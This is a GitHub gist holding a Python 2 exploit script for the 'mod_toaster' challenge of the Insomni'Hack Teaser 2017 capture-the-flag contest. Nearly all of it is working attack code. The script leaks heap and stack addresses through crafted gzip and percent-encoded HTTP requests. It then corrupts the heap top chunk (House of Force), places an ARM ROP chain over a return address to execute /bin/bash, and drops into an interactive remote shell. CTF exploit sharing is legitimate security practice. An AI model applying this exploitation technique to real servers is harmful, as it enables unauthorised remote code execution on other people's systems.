Skip to content

Instantly share code, notes, and snippets.

@niklasb
Created January 22, 2017 21:02
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save niklasb/5068d5b1c640ebb405a4c5daba44c22c to your computer and use it in GitHub Desktop.
Save niklasb/5068d5b1c640ebb405a4c5daba44c22c to your computer and use it in GitHub Desktop.
exploit for 'mod_toaster' from Insomni'Hack Teaser 2017
#!/usr/bin/env python2
import os
import socket
import sys
import time
import urllib
import select
import struct
import telnetlib
from subprocess import *
TARGET = ('mod_toaster.teaser.insomnihack.ch', 80)
WAIT = 1
DEBUG = False
def gzip(s):
p=Popen(['gzip'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
out,_ = p.communicate(s)
assert len(out)
return out
def compress(s):
p=Popen(['compress'], stdin=PIPE, stdout=PIPE, stderr=PIPE)
out,_ = p.communicate(s)
assert len(out)
return out
def can_read(s, timeout=0):
x,_,_ = select.select([s], [], [], timeout)
return x != []
def resp():
res = ''
while can_read(s, timeout=WAIT):
dat = s.recv(4096)
if not dat: break
res += dat
if DEBUG:
sys.stdout.write(dat)
sys.stdout.flush()
return res
def interact():
t = telnetlib.Telnet()
t.sock = s
t.interact()
def wait():
''' Wait between requests to force a short read '''
if DEBUG:
print 'Press enter to continue'
raw_input()
else:
time.sleep(WAIT)
def post(body, path='/', encoding=None, keep_alive=True, content_len=None):
wait()
req = 'POST %s HTTP/1.1\n' % path
if keep_alive:
req += 'Connection: keep-alive\n'
if encoding is not None:
req += 'Content-Encoding: %s\n' % encoding
if content_len is None:
content_len = len(body)
req += 'Content-Length: %d\r\n\r\n' % content_len
req += body
s.sendall(req)
s = socket.create_connection(TARGET)
# Make gzip write some pointers to the heap
body = gzip('X'*1024)
post(gzip('X'*1024), path='/debug', encoding='gzip')
# Cancel decode() via single % so it doesn't write terminating null-byte
post('%41'*108 + '%', path='/debug')
# Now the debug response contains a stack pointer
# (via uninitialized User-Agent field) and a heap pointer
# (some interal pointer used by zlib)
leak = resp()
content = leak.split('A'*108)[-1].split('\n</pre>')[0]
heap_leak, = struct.unpack('<I', content)
stack_leak = leak.split('user-agent: ')[1][:4]
stack_leak, = struct.unpack('<I', stack_leak)
print '[*] heap leak @ 0x%08x' % heap_leak
print '[*] stack leak @ 0x%08x' % stack_leak
# Overwrite top chunk size (House of Force)
post(compress('A'*1028 + '\xff\xff\xff\xff'), path='/debug', encoding='compress')
overflow_chunk = heap_leak + 0x6124d50 - 0x6125130
top_chunk = overflow_chunk + 0x404
print '[*] top chunk @ 0x%08x' % top_chunk
# We want to allocate over the return address of decode()
target = stack_leak + 0xf3063758 - 0xf306c3e4 - 0x10
print '[*] target = 0x%08x' % target
size = (target-top_chunk)%2**32
if size >= 0x80000000:
size -= 2**32 # because apparently scanf truncates.
# Split up top chunk so that the remainder is exactly at target
post('a', content_len=size)
base = target+52 # see below for where this points
# This is our final ROP chain, which we will write at target
body = 'AAAA'
body += struct.pack('<I', 0x7d2d9) # pop {r0, r1, r2, r4, r5, r7, pc}
body += struct.pack('<I', base+8)
body += struct.pack('<I', base)
body += struct.pack('<I', base+4)
body += 'XXXX'
body += 'YYYY'
body += struct.pack('<I', 11) # execve
body += struct.pack('<I', 0x5e3b4) # svc #0
body += struct.pack('<I', base+8) # <- this is what base points to
body += struct.pack('<I', 0)
body += '/bin/bash\0'
body = urllib.quote(body)
body = body.ljust(200, 'A')
# The malloc() here will return the target buffer, and we
# can write our ROP chain
post(body)
resp()
print '[*] Enjoy your shell'
interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment